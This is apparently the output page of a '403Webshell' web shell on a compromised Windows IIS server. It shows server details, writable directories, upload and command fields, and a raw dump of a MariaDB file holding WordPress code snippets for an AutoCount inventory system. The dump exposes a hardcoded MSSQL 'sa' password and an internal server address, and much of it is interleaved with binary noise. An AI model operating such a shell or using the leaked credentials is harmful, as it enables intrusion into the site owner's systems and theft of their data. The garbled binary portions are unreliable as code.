403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/MariaDB 10.6/data/stockadjust/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/MariaDB 10.6/data/stockadjust/wp_snippets.ibd
��������`�Iv��@	��������������������������&&������������������������`�IvN4[y��������H<��H<��2����������`�Iv����������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i�����	�����������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i���������������������������������������������������������������������������������������������������������������������������������������������������������i������������������������������������������������������������������������������������������������������������������������������������������������������i��������������������������������������������������������������������������������������������������������������������������������`�IvнB���������`�IvE����
���2infimumsupremum���pc`�Iv�����������`�ukE��z�ll[�r��Zinfimumsupremum+global�	��front-end� )global�(��content�0global�8global�@global�Hglobal�Pglobal�	X6global�`�site-head-js�
h��global�p�c`�uk�� ��������`�u}E�� ��l[���2�infimumsupremum���� ��(��0��8��@��H*��P����X�	`�䁀h�f�
p�c`�u}������W�E��/р	�+Q
!infimumsupremum
4��&��Make upload filenames lowercaseMakes sure that image and file uploads have lowercase filenames.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'sanitize_file_name', 'mb_strtolower' );sample, mediaglobal��
������	s��c��Disable admin barTurns off the WordPress admin bar for everyone except administrators.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_action( 'wp', function () {
	if ( ! current_user_can( 'manage_options' ) ) {
		show_admin_bar( false );
	}
} );sample, admin-barfront-end��
��������r
 �c��Allow smiliesAllows smiley conversion in obscure places.

This is a sample snippet. Feel free to use it, edit it, or remove it.add_filter( 'widget_text', 'convert_smilies' );
add_filter( 'the_title', 'convert_smilies' );
add_filter( 'wp_title', 'convert_smilies' );
add_filter( 'get_bloginfo', 'convert_smilies' );sampleglobal��
������
��(���Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
��������0��MSSQL Connection (AutoCount)/* ============================================================
   SQL SERVER 2019  →  AED_TEST_API_09012026
   ============================================================ */
if (!function_exists('get_mssql')) {

    function get_mssql()
    {
        static $conn = null;

        if ($conn !== null) {
            return $conn;
        }

        $server   = "192.168.100.225\\MSSQL2019SERVER";
        $database = "AED_TEST_API_09012026";
        $username = "sa";           // change to wp_reader later
        $password = "user2025**";

        $connectionInfo = [
            "Database"               => $database,
            "UID"                    => $username,
            "PWD"                    => $password,
            "CharacterSet"           => "UTF-8",
            "Encrypt"                => "yes",
            "TrustServerCertificate" => "yes",
            "LoginTimeout"           => 5,
        ];

        $conn = sqlsrv_connect($server, $connectionInfo);

        if ($conn === false) {
            error_log('[AutoCount] MSSQL connection failed: ' . print_r(sqlsrv_errors(), true));
            return null;
        }

        return $conn;
    }
}
global��
�������8��AutoCount ItemCode Typeahead// ============================================================
// AutoCount ItemCode Suggest (GLOBAL)
// - Provides admin-ajax endpoint: action=ac_itemcode_suggest
// - Adds JS that shows dropdown under #ac_code using #ac_code_suggest
// Requires: get_mssql() exists
// ============================================================

if (!defined('ABSPATH')) exit;

/**
 * AJAX: return list of ItemCodes that start with typed prefix
 * returns: { ok:true, items:[ {code:"...", desc:"...", desc2:"..."} ] }
 */
add_action('wp_ajax_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');
add_action('wp_ajax_nopriv_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');

function ac_itemcode_suggest_ajax() {
    // Security
    $nonce = isset($_POST['nonce']) ? (string)$_POST['nonce'] : '';
    if (!wp_verify_nonce($nonce, 'ac_itemcode_suggest')) {
        wp_send_json(['ok' => false, 'message' => 'Bad nonce'], 403);
    }

    if (!function_exists('get_mssql')) {
        wp_send_json(['ok' => false, 'message' => 'Missing get_mssql()'], 500);
    }

    $term = isset($_POST['term']) ? trim((string)$_POST['term']) : '';
    $term = preg_replace('/\s+/', ' ', $term);

    // Require at least 2 chars
    if (mb_strlen($term) < 2) {
        wp_send_json(['ok' => true, 'items' => []], 200);
    }

    $conn = get_mssql();
    if (!$conn) {
        wp_send_json(['ok' => false, 'message' => 'MSSQL connection failed'], 500);
    }

    // Escape SQL LIKE wildcards for SQL Server: %, _, [
    $safe = str_replace(['[', '%', '_'], ['[[]', '[%]', '[_]'], $term);
    $like = $safe . '%';

    // Top 12 suggestions
    $sql = "
      SELECT TOP (12)
        i.ItemCode,
        i.Description,
        i.Desc2
      FROM dbo.Item i
      WHERE i.ItemCode LIKE ? ESCAPE '\\'
      ORDER BY i.ItemCode ASC
    ";

    $stmt = @sqlsrv_query($conn, $sql, [$like]);
    if ($stmt === false) {
        wp_send_json(['ok' => false, 'message' => 'SQL error', 'detail' => sqlsrv_errors()], 500);
    }

    $items = [];
    while ($r = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $items[] = [
            'code'  => isset($r['ItemCode']) ? (string)$r['ItemCode'] : '',
            'desc'  => isset($r['Description']) ? (string)$r['Description'] : '',
            'desc2' => isset($r['Desc2']) ? (string)$r['Desc2'] : '',
        ];
    }
    sqlsrv_free_stmt($stmt);

    wp_send_json(['ok' => true, 'items' => $items], 200);
}

/**
 * JS: build dropdown UI for itemcode input
 */
add_action('wp_footer', function () {
    ?>
<script>
(function(){
  // Only run if the page has the itemcode input
  const input = document.getElementById("ac_code");
  const box = document.getElementById("ac_code_suggest");
  if (!input || !box) return;

  function getCfg(){
    // page snippet sets window.AC_SUGGEST
    const cfg = window.AC_SUGGEST || {};
    return {
      ajaxUrl: cfg.ajaxUrl || "<?php echo esc_js(admin_url('admin-ajax.php')); ?>",
      nonce: cfg.nonce || ""
    };
  }

  function hide(){
    box.style.display = "none";
    box.innerHTML = "";
  }

  function render(items){
    if (!items || !items.length) {
      box.innerHTML = '<div class="ac-suggest"><div class="empty">No matches.</div><div class="hint">Type more letters.</div></div>';
      box.style.display = "block";
      return;
    }

    const rows = items.map(it => {
      const code = escapeHtml(it.code || "");
      const desc = escapeHtml(it.desc || "");
      const desc2 = escapeHtml(it.desc2 || "");
      const sub = [desc, desc2].filter(Boolean).join(" | ");
      return `
        <button type="button" class="rowbtn" data-code="${code}">
          ${code}
          ${sub ? `<span class="sub">${sub}</span>` : ``}
        </button>
      `;
    }).join("");

    box.innerHTML = `
      <div class="ac-suggest">
        <div class="list">${rows}</div>
        <div class="hint">Click to fill Item Code</div>
      </div>
    `;
    box.style.display = "block";

    box.querySelectorAll("button.rowbtn").forEach(btn => {
      btn.addEventListener("click", () => {
        input.value = btn.getAttribute("data-code") || "";
        hide();
        input.focus();
      });
    });
  }

  function escapeHtml(s){
    return String(s).replace(/[&<>"']/g, c => ({
      "&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"
    }[c]));
  }

  let t = null;
  let last = "";

  async function fetchSuggest(term){
    const cfg = getCfg();
    if (!cfg.nonce) {
      // If nonce missing, we can't call AJAX
      hide();
      return;
    }

    const fd = new FormData();
    fd.append("action", "ac_itemcode_suggest");
    fd.append("nonce", cfg.nonce);
    fd.append("term", term);

    const res = await fetch(cfg.ajaxUrl, {
      method: "POST",
      credentials: "same-origin",
      body: fd
    });

    const data = await res.json().catch(()=>null);
    if (!data || !data.ok) return [];
    return data.items || [];
  }

  function schedule(){
    const term = (input.value || "").trim();
    if (term === last) return;
    last = term;

    if (term.length < 2) { hide(); return; }

    box.innerHTML = '<div class="ac-suggest"><div class="loading">Searching…</div></div>';
    box.style.display = "block";

    clearTimeout(t);
    t = setTimeout(async () => {
      const items = await fetchSuggest(term);
      // If user typed something else while waiting, ignore old response
      if ((input.value || "").trim() !== term) return;
      render(items);
    }, 180);
  }

  input.addEventListener("input", schedule);
  input.addEventListener("focus", schedule);

  document.addEventListener("click", (e) => {
    if (e.target === input || box.contains(e.target)) return;
    hide();
  });

  document.addEventListener("keydown", (e) => {
    if (e.key === "Escape") hide();
  });
})();
</script>
    <?php
}, 9999);
global��
����)���@��Barcode Scanneradd_shortcode('ac_barcode_scanner', function () {
  ob_start(); ?>
  <div class="ac-scan-wrap" style="max-width:520px;margin:16px auto;padding:12px;border:1px solid #e5e7eb;border-radius:12px;">
    <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
      <button type="button" id="acScanStart" style="padding:10px 14px;border:0;border-radius:10px;background:#111827;color:#fff;cursor:pointer;">
        Start Scan
      </button>
      <button type="button" id="acScanStop" style="padding:10px 14px;border:1px solid #d1d5db;border-radius:10px;background:#fff;cursor:pointer;">
        Stop
      </button>
      <span id="acScanStatus" style="font-size:13px;color:#6b7280;">Idle</span>
    </div>

    <div style="margin-top:12px;">
      <video id="acScanVideo" style="width:100%;border-radius:12px;background:#000;" muted playsinline></video>
    </div>

    <div style="margin-top:12px;">
      <label style="display:block;font-size:13px;color:#374151;margin-bottom:6px;">Scanned Code 128 Value</label>
      <input id="acScanResult" type="text" style="width:100%;padding:10px;border:1px solid #d1d5db;border-radius:10px;" placeholder="Scan result will appear here" />
    </div>

    <div style="margin-top:12px;font-size:12px;color:#6b7280;">
      Tip: ensure good lighting + keep barcode centered. iPhone requires HTTPS and user tap to start.
    </div>
  </div>

<script src="https://unpkg.com/@zxing/library@latest"></script>
<script>
(function () {
  const startBtn = document.getElementById('acScanStart');
  const stopBtn  = document.getElementById('acScanStop');
  const videoEl  = document.getElementById('acScanVideo');
  const resultEl = document.getElementById('acScanResult');
  const statusEl = document.getElementById('acScanStatus');

  let codeReader = null;

  function setStatus(t){ statusEl.textContent = t; }

  async function startScan() {
    try {
      if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
        throw new Error('Camera API not available in this browser.');
      }
      if (!window.ZXing) throw new Error('ZXing not loaded');

      codeReader = new ZXing.BrowserMultiFormatReader();

      setStatus('Requesting camera permission...');

      // ✅ Ask camera directly (prefer back camera)
      const constraints = {
        video: {
          facingMode: { ideal: "environment" }, // back cam
          width: { ideal: 1280 },
          height: { ideal: 720 }
        },
        audio: false
      };

      setStatus('Scanning Code 128...');

      await codeReader.decodeFromConstraints(constraints, videoEl, (result, err) => {
        if (result) {
          // Keep only Code 128
          if (result.getBarcodeFormat() !== ZXing.BarcodeFormat.CODE_128) return;

          const text = result.getText();
          resultEl.value = text;
          setStatus('✅ Found: ' + text);

          stopScan(); // auto-stop after success
        }
      });

    } catch (e) {
      console.error(e);
      setStatus('❌ ' + (e.message || 'Failed to start camera'));
    }
  }

  function stopScan() {
    try {
      if (codeReader) {
        codeReader.reset();
        codeReader = null;
      }
      if (videoEl.srcObject) {
        videoEl.srcObject.getTracks().forEach(t => t.stop());
        videoEl.srcObject = null;
      }
      setStatus('Stopped');
    } catch (e) {
      console.error(e);
      setStatus('Stopped');
    }
  }

  startBtn.addEventListener('click', startScan);
  stopBtn.addEventListener('click', stopScan);
})();
</script>

  <?php
  return ob_get_clean();
});
global��
����F�pcW���������`�1�E��:&�0	
!infimumsupremum
�����Current yearShortcode for inserting the current year into a post or page..

This is a sample snippet. Feel free to use it, edit it, or remove it.<?php echo date( 'Y' ); ?>sample, datescontent��
����������MSSQL Connection (AutoCount)/* ============================================================
   SQL SERVER 2019  →  AED_TEST_API_09012026
   ============================================================ */
if (!function_exists('get_mssql')) {

    function get_mssql()
    {
        static $conn = null;

        if ($conn !== null) {
            return $conn;
        }

        $server   = "192.168.100.225\\MSSQL2019SERVER";
        $database = "AED_TEST_API_09012026";
        $username = "sa";           // change to wp_reader later
        $password = "user2025**";

        $connectionInfo = [
            "Database"               => $database,
            "UID"                    => $username,
            "PWD"                    => $password,
            "CharacterSet"           => "UTF-8",
            "Encrypt"                => "yes",
            "TrustServerCertificate" => "yes",
            "LoginTimeout"           => 5,
        ];

        $conn = sqlsrv_connect($server, $connectionInfo);

        if ($conn === false) {
            error_log('[AutoCount] MSSQL connection failed: ' . print_r(sqlsrv_errors(), true));
            return null;
        }

        return $conn;
    }
}
global��
������� ��AutoCount ItemCode Typeahead// ============================================================
// AutoCount ItemCode Suggest (GLOBAL)
// - Provides admin-ajax endpoint: action=ac_itemcode_suggest
// - Adds JS that shows dropdown under #ac_code using #ac_code_suggest
// Requires: get_mssql() exists
// ============================================================

if (!defined('ABSPATH')) exit;

/**
 * AJAX: return list of ItemCodes that start with typed prefix
 * returns: { ok:true, items:[ {code:"...", desc:"...", desc2:"..."} ] }
 */
add_action('wp_ajax_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');
add_action('wp_ajax_nopriv_ac_itemcode_suggest', 'ac_itemcode_suggest_ajax');

function ac_itemcode_suggest_ajax() {
    // Security
    $nonce = isset($_POST['nonce']) ? (string)$_POST['nonce'] : '';
    if (!wp_verify_nonce($nonce, 'ac_itemcode_suggest')) {
        wp_send_json(['ok' => false, 'message' => 'Bad nonce'], 403);
    }

    if (!function_exists('get_mssql')) {
        wp_send_json(['ok' => false, 'message' => 'Missing get_mssql()'], 500);
    }

    $term = isset($_POST['term']) ? trim((string)$_POST['term']) : '';
    $term = preg_replace('/\s+/', ' ', $term);

    // Require at least 2 chars
    if (mb_strlen($term) < 2) {
        wp_send_json(['ok' => true, 'items' => []], 200);
    }

    $conn = get_mssql();
    if (!$conn) {
        wp_send_json(['ok' => false, 'message' => 'MSSQL connection failed'], 500);
    }

    // Escape SQL LIKE wildcards for SQL Server: %, _, [
    $safe = str_replace(['[', '%', '_'], ['[[]', '[%]', '[_]'], $term);
    $like = $safe . '%';

    // Top 12 suggestions
    $sql = "
      SELECT TOP (12)
        i.ItemCode,
        i.Description,
        i.Desc2
      FROM dbo.Item i
      WHERE i.ItemCode LIKE ? ESCAPE '\\'
      ORDER BY i.ItemCode ASC
    ";

    $stmt = @sqlsrv_query($conn, $sql, [$like]);
    if ($stmt === false) {
        wp_send_json(['ok' => false, 'message' => 'SQL error', 'detail' => sqlsrv_errors()], 500);
    }

    $items = [];
    while ($r = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
        $items[] = [
            'code'  => isset($r['ItemCode']) ? (string)$r['ItemCode'] : '',
            'desc'  => isset($r['Description']) ? (string)$r['Description'] : '',
            'desc2' => isset($r['Desc2']) ? (string)$r['Desc2'] : '',
        ];
    }
    sqlsrv_free_stmt($stmt);

    wp_send_json(['ok' => true, 'items' => $items], 200);
}

/**
 * JS: build dropdown UI for itemcode input
 */
add_action('wp_footer', function () {
    ?>
<script>
(function(){
  // Only run if the page has the itemcode input
  const input = document.getElementById("ac_code");
  const box = document.getElementById("ac_code_suggest");
  if (!input || !box) return;

  function getCfg(){
    // page snippet sets window.AC_SUGGEST
    const cfg = window.AC_SUGGEST || {};
    return {
      ajaxUrl: cfg.ajaxUrl || "<?php echo esc_js(admin_url('admin-ajax.php')); ?>",
      nonce: cfg.nonce || ""
    };
  }

  function hide(){
    box.style.display = "none";
    box.innerHTML = "";
  }

  function render(items){
    if (!items || !items.length) {
      box.innerHTML = '<div class="ac-suggest"><div class="empty">No matches.</div><div class="hint">Type more letters.</div></div>';
      box.style.display = "block";
      return;
    }

    const rows = items.map(it => {
      const code = escapeHtml(it.code || "");
      const desc = escapeHtml(it.desc || "");
      const desc2 = escapeHtml(it.desc2 || "");
      const sub = [desc, desc2].filter(Boolean).join(" | ");
      return `
        <button type="button" class="rowbtn" data-code="${code}">
          ${code}
          ${sub ? `<span class="sub">${sub}</span>` : ``}
        </button>
      `;
    }).join("");

    box.innerHTML = `
      <div class="ac-suggest">
        <div class="list">${rows}</div>
        <div class="hint">Click to fill Item Code</div>
      </div>
    `;
    box.style.display = "block";

    box.querySelectorAll("button.rowbtn").forEach(btn => {
      btn.addEventListener("click", () => {
        input.value = btn.getAttribute("data-code") || "";
        hide();
        input.focus();
      });
    });
  }

  function escapeHtml(s){
    return String(s).replace(/[&<>"']/g, c => ({
      "&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#39;"
    }[c]));
  }

  let t = null;
  let last = "";

  async function fetchSuggest(term){
    const cfg = getCfg();
    if (!cfg.nonce) {
      // If nonce missing, we can't call AJAX
      hide();
      return;
    }

    const fd = new FormData();
    fd.append("action", "ac_itemcode_suggest");
    fd.append("nonce", cfg.nonce);
    fd.append("term", term);

    const res = await fetch(cfg.ajaxUrl, {
      method: "POST",
      credentials: "same-origin",
      body: fd
    });

    const data = await res.json().catch(()=>null);
    if (!data || !data.ok) return [];
    return data.items || [];
  }

  function schedule(){
    const term = (input.value || "").trim();
    if (term === last) return;
    last = term;

    if (term.length < 2) { hide(); return; }

    box.innerHTML = '<div class="ac-suggest"><div class="loading">Searching…</div></div>';
    box.style.display = "block";

    clearTimeout(t);
    t = setTimeout(async () => {
      const items = await fetchSuggest(term);
      // If user typed something else while waiting, ignore old response
      if ((input.value || "").trim() !== term) return;
      render(items);
    }, 180);
  }

  input.addEventListener("input", schedule);
  input.addEventListener("focus", schedule);

  document.addEventListener("click", (e) => {
    if (e.target === input || box.contains(e.target)) return;
    hide();
  });

  document.addEventListener("keydown", (e) => {
    if (e.key === "Escape") hide();
  });
})();
</script>
    <?php
}, 9999);
global��
����)���(M��Barcode Scanneradd_shortcode('ac_barcode_scanner', function () {
  ob_start(); ?>
  <div class="ac-scan-wrap" style="max-width:520px;margin:16px auto;padding:12px;border:1px solid #e5e7eb;border-radius:12px;">
    <div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap;">
      <button type="button" id="acScanStart" style="padding:10px 14px;border:0;border-radius:10px;background:#111827;color:#fff;cursor:pointer;">
        Start Scan
      </button>
      <button type="button" id="acScanStop" style="padding:10px 14px;border:1px solid #d1d5db;border-radius:10px;background:#fff;cursor:pointer;">
        Stop
      </button>
      <span id="acScanStatus" style="font-size:13px;color:#6b7280;">Idle</span>
    </div>

    <div style="margin-top:12px;">
      <video id="acScanVideo" style="width:100%;border-radius:12px;background:#000;" muted playsinline></video>
    </div>

    <div style="margin-top:12px;">
      <label style="display:block;font-size:13px;color:#374151;margin-bottom:6px;">Scanned Code 128 Value</label>
      <input id="acScanResult" type="text" style="width:100%;padding:10px;border:1px solid #d1d5db;border-radius:10px;" placeholder="Scan result will appear here" />
    </div>

    <div style="margin-top:12px;font-size:12px;color:#6b7280;">
      Tip: ensure good lighting + keep barcode centered. iPhone requires HTTPS and user tap to start.
    </div>
  </div>

<script src="https://unpkg.com/@zxing/library@latest"></script>
<script>
(function () {
  const startBtn = document.getElementById('acScanStart');
  const stopBtn  = document.getElementById('acScanStop');
  const videoEl  = document.getElementById('acScanVideo');
  const resultEl = document.getElementById('acScanResult');
  const statusEl = document.getElementById('acScanStatus');

  let codeReader = null;

  function setStatus(t){ statusEl.textContent = t; }

  async function startScan() {
    try {
      if (!navigator.mediaDevices || !navigator.mediaDevices.getUserMedia) {
        throw new Error('Camera API not available in this browser.');
      }
      if (!window.ZXing) throw new Error('ZXing not loaded');

      codeReader = new ZXing.BrowserMultiFormatReader();

      setStatus('Requesting camera permission...');

      // ✅ Ask camera directly (prefer back camera)
      const constraints = {
        video: {
          facingMode: { ideal: "environment" }, // back cam
          width: { ideal: 1280 },
          height: { ideal: 720 }
        },
        audio: false
      };

      setStatus('Scanning Code 128...');

      await codeReader.decodeFromConstraints(constraints, videoEl, (result, err) => {
        if (result) {
          // Keep only Code 128
          if (result.getBarcodeFormat() !== ZXing.BarcodeFormat.CODE_128) return;

          const text = result.getText();
          resultEl.value = text;
          setStatus('✅ Found: ' + text);

          stopScan(); // auto-stop after success
        }
      });

    } catch (e) {
      console.error(e);
      setStatus('❌ ' + (e.message || 'Failed to start camera'));
    }
  }

  function stopScan() {
    try {
      if (codeReader) {
        codeReader.reset();
        codeReader = null;
      }
      if (videoEl.srcObject) {
        videoEl.srcObject.getTracks().forEach(t => t.stop());
        videoEl.srcObject = null;
      }
      setStatus('Stopped');
    } catch (e) {
      console.error(e);
      setStatus('Stopped');
    }
  }

  startBtn.addEventListener('click', startScan);
  stopBtn.addEventListener('click', stopScan);
})();
</script>

  <?php
  return ob_get_clean();
});
global��
����F��0a��QC Lookup AJAX�	&#�global��
���4=���
8A�	�Shortcut Keys<script>
document.addEventListener("keydown", function(e) {

  // Ctrl + Shift + H
  if (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === "h") {
    e.preventDefault(); // stop browser history
    window.location.href = "/";
  }

});
</script>global��
��6����
@>�
�Shortcut Keysdocument.addEventListener("keydown", function(e) {

  // Ctrl + Shift + H
  if (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === "h") {
    e.preventDefault(); // stop browser history
    window.location.href = "/";
  }

});
</script>site-head-js��
��6���
Hg��Shortcut Keysadd_action('wp_footer', function() {
?>
<script>
document.addEventListener("keydown", function(e) {
  if (e.ctrlKey && e.shiftKey && e.key.toLowerCase() === "h") {
    e.preventDefault();
    window.location.href = "<?php echo esc_url(home_url('/')); ?>";
  }
});
</script>
<?php
});global��
���6����P�T��Location AJAX handler PHPif (!defined('ABSPATH')) exit;

/**
 * Restaurant QR Geolocation Gate - AJAX
 * AJAX action: ac_validate_qr_location
 */

/* =========================
 * CONFIG
 * ========================= */
if (!function_exists('ac_restaurant_qr_config')) {
    function ac_restaurant_qr_config() {
        return [
            // Replace with your restaurant coordinates
            'restaurant_lat' => 4.5777,
            'restaurant_lng' => 101.0471,

            // Allowed radius in meters
            'radius_meters'  => 100,

            // Optional allowed tables (kept but not used in this version)
            'allowed_tables' => ['T1', 'T2', 'T3', 'T4', 'T5'],
        ];
    }
}

/* =========================
 * HAVERSINE DISTANCE
 * ========================= */
if (!function_exists('ac_haversine_meters')) {
    function ac_haversine_meters($lat1, $lon1, $lat2, $lon2) {
        $earth_radius = 6371000; // meters

        $dLat = deg2rad($lat2 - $lat1);
        $dLon = deg2rad($lon2 - $lon1);

        $a = sin($dLat / 2) * sin($dLat / 2) +
             cos(deg2rad($lat1)) * cos(deg2rad($lat2)) *
             sin($dLon / 2) * sin($dLon / 2);

        $c = 2 * atan2(sqrt($a), sqrt(1 - $a));
        return $earth_radius * $c;
    }
}

/* =========================
 * AJAX VALIDATION (location‑only)
 * ========================= */
add_action('wp_ajax_ac_validate_qr_location', 'ac_validate_qr_location');
add_action('wp_ajax_nopriv_ac_validate_qr_location', 'ac_validate_qr_location');

if (!function_exists('ac_validate_qr_location')) {
    function ac_validate_qr_location() {
        check_ajax_referer('ac_qr_geo_nonce', 'nonce');

        $cfg = ac_restaurant_qr_config();

        $lat = isset($_POST['lat']) ? (float) $_POST['lat'] : 0;
        $lng = isset($_POST['lng']) ? (float) $_POST['lng'] : 0;

        if (!$lat || !$lng) {
            wp_send_json_error(['message' => 'Invalid location coordinates.'], 400);
        }

        $distance = ac_haversine_meters(
            (float) $cfg['restaurant_lat'],
            (float) $cfg['restaurant_lng'],
            $lat,
            $lng
        );

        if ($distance > (float) $cfg['radius_meters']) {
            wp_send_json_error([
                'message'  => 'Too far from restaurant',
                'distance' => round($distance, 2)
            ], 403);
        }

        wp_send_json_success([
            'message'  => 'Inside allowed radius',
            'distance' => round($distance, 2)
        ]);
    }
}global��
���R-�p�c`�1�y��2	��������W��
�#�����if (!defined('ABSPATH')) exit;

/**
 * QC Page AJAX (FULL REPLACEMENT) - SIMPLE SERIAL LOGIC
 * - ac_qc_lookup_serial_hq : lookup 1 serial in HQ (uses ItemSerialNoDtl.Qty)
 * - ac_qc_list_hq          : list serials in HQ (paged) (uses ItemSerialNoDtl.Qty)
 * - ac_qc_send_to_qc       : validate serial in HQ with Qty<>0 then INSERT JOB into ac_jobs
 *
 * Tables (AutoCount DB):
 * - ItemSerialNoDtl: SerialNumber, ItemCode, Location, Qty
 * - Item: ItemCode, Description
 *
 * Queue table (WP DB):
 * - {$wpdb->prefix}ac_jobs
 */

add_action('wp_ajax_ac_qc_lookup_serial_hq', 'ac_qc_lookup_serial_hq');
function ac_qc_lookup_serial_hq() {

  if (!is_user_logged_in()) {
    wp_send_json_error(['message' => 'Unauthorized.']);
  }

  if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'ac_qc_page_nonce')) {
    wp_send_json_error(['message' => 'Invalid nonce.']);
  }

  $srl = isset($_POST['srl']) ? sanitize_text_field(wp_unslash($_POST['srl'])) : '';
  $srl = trim($srl);
  if ($srl === '') {
    wp_send_json_error(['message' => 'Serial is required.']);
  }

  $conn = function_exists('get_mssql') ? get_mssql() : null;
  if (!$conn) {
    wp_send_json_error(['message' => 'MSSQL connection failed.']);
  }

  // ✅ SIMPLE: pull Qty directly from ItemSerialNoDtl
  $sql = "
    SELECT TOP 1
      s.SerialNumber AS SerialNumber,
      s.ItemCode     AS ItemCode,
      ISNULL(i.Description,'') AS Description,
      CAST(ISNULL(s.Qty,0) AS decimal(18,4)) AS AvailableQty
    FROM ItemSerialNoDtl s
    LEFT JOIN Item i ON i.ItemCode = s.ItemCode
    WHERE s.SerialNumber = ?
      AND ISNULL(s.Location,'HQ') = 'HQ'
      AND ISNULL(s.Qty,0) <> 0
  ";

  $stmt = sqlsrv_query($conn, $sql, [$srl]);
  if ($stmt === false) {
    wp_send_json_error(['message' => 'SQL error during lookup.', 'errors' => sqlsrv_errors()]);
  }

  $row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC);
  sqlsrv_free_stmt($stmt);

  if (!$row) {
    wp_send_json_error(['message' => 'Serial not found in HQ or Qty is 0.']);
  }

  wp_send_json_success([
    'serial'       => (string)($row['SerialNumber'] ?? $srl),
    'itemCode'     => (string)($row['ItemCode'] ?? ''),
    'description'  => (string)($row['Description'] ?? ''),
    'availableQty' => isset($row['AvailableQty']) ? (string)$row['AvailableQty'] : '0',
  ]);
}


/**
 * List HQ serials (paged) with Qty from ItemSerialNoDtl
 */
add_action('wp_ajax_ac_qc_list_hq', 'ac_qc_list_hq');
function ac_qc_list_hq() {

  if (!is_user_logged_in()) {
    wp_send_json_error(['message' => 'Unauthorized.']);
  }

  if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'ac_qc_page_nonce')) {
    wp_send_json_error(['message' => 'Invalid nonce.']);
  }

  $page    = isset($_POST['page']) ? (int)$_POST['page'] : 1;
  $perPage = isset($_POST['perPage']) ? (int)$_POST['perPage'] : 20;
  $q       = isset($_POST['q']) ? sanitize_text_field(wp_unslash($_POST['q'])) : '';

  $page = max(1, $page);
  $perPage = max(5, min(50, $perPage));

  $startRow = (($page - 1) * $perPage) + 1;
  $endRow   = $page * $perPage;

  $conn = function_exists('get_mssql') ? get_mssql() : null;
  if (!$conn) {
    wp_send_json_error(['message' => 'MSSQL connection failed.']);
  }

  // ✅ Must be HQ + Qty <> 0
  $where  = "WHERE ISNULL(s.Location,'HQ')='HQ' AND ISNULL(s.Qty,0) <> 0";
  $params = [];

  if ($q !== '') {
    $where .= " AND (s.SerialNumber LIKE ? OR s.ItemCode LIKE ? OR ISNULL(i.Description,'') LIKE ?)";
    $like = '%' . $q . '%';
    $params[] = $like;
    $params[] = $like;
    $params[] = $like;
  }

  $sqlTotal = "
    SELECT COUNT(1) AS Total
    FROM ItemSerialNoDtl s
    LEFT JOIN Item i ON i.ItemCode = s.ItemCode
    $where
  ";

  $stmtT = sqlsrv_query($conn, $sqlTotal, $params);
  if ($stmtT === false) {
    wp_send_json_error(['message' => 'SQL error during list (total).', 'errors' => sqlsrv_errors()]);
  }
  $rowT = sqlsrv_fetch_array($stmtT, SQLSRV_FETCH_ASSOC);
  sqlsrv_free_stmt($stmtT);
  $total = (int)($rowT['Total'] ?? 0);

  // ✅ SIMPLE rows query - uses s.Qty
  $sqlRows = "
    WITH SerialCTE AS (
      SELECT
        s.SerialNumber AS SerialNumber,
        s.ItemCode     AS ItemCode,
        ISNULL(i.Description,'') AS Description,
        CAST(ISNULL(s.Qty,0) AS decimal(18,4)) AS AvailableQty,
        ROW_NUMBER() OVER (ORDER BY s.SerialNumber DESC) AS RowNum
      FROM ItemSerialNoDtl s
      LEFT JOIN Item i ON i.ItemCode = s.ItemCode
      $where
    )
    SELECT SerialNumber, ItemCode, Description, AvailableQty
    FROM SerialCTE
    WHERE RowNum BETWEEN ? AND ?
    ORDER BY RowNum
  ";

  $paramsRows = array_merge($params, [(int)$startRow, (int)$endRow]);

  $stmt = sqlsrv_query($conn, $sqlRows, $paramsRows);
  if ($stmt === false) {
    wp_send_json_error(['message' => 'SQL error during list (rows).', 'errors' => sqlsrv_errors()]);
  }

  $rows = [];
  while ($r = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
    $rows[] = [
      'serial'       => (string)($r['SerialNumber'] ?? ''),
      'itemCode'     => (string)($r['ItemCode'] ?? ''),
      'description'  => (string)($r['Description'] ?? ''),
      'availableQty' => isset($r['AvailableQty']) ? (string)$r['AvailableQty'] : '0',
    ];
  }
  sqlsrv_free_stmt($stmt);

  wp_send_json_success([
    'total' => $total,
    'rows'  => $rows,
  ]);
}


/**
 * Send to QC (VALIDATE + ENQUEUE JOB)
 */
add_action('wp_ajax_ac_qc_send_to_qc', 'ac_qc_send_to_qc');
function ac_qc_send_to_qc() {

  if (!is_user_logged_in()) {
    wp_send_json_error(['message' => 'Unauthorized.']);
  }

  if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'ac_qc_page_nonce')) {
    wp_send_json_error(['message' => 'Invalid nonce.']);
  }

  $srl = isset($_POST['srl']) ? sanitize_text_field(wp_unslash($_POST['srl'])) : '';
  $srl = trim($srl);
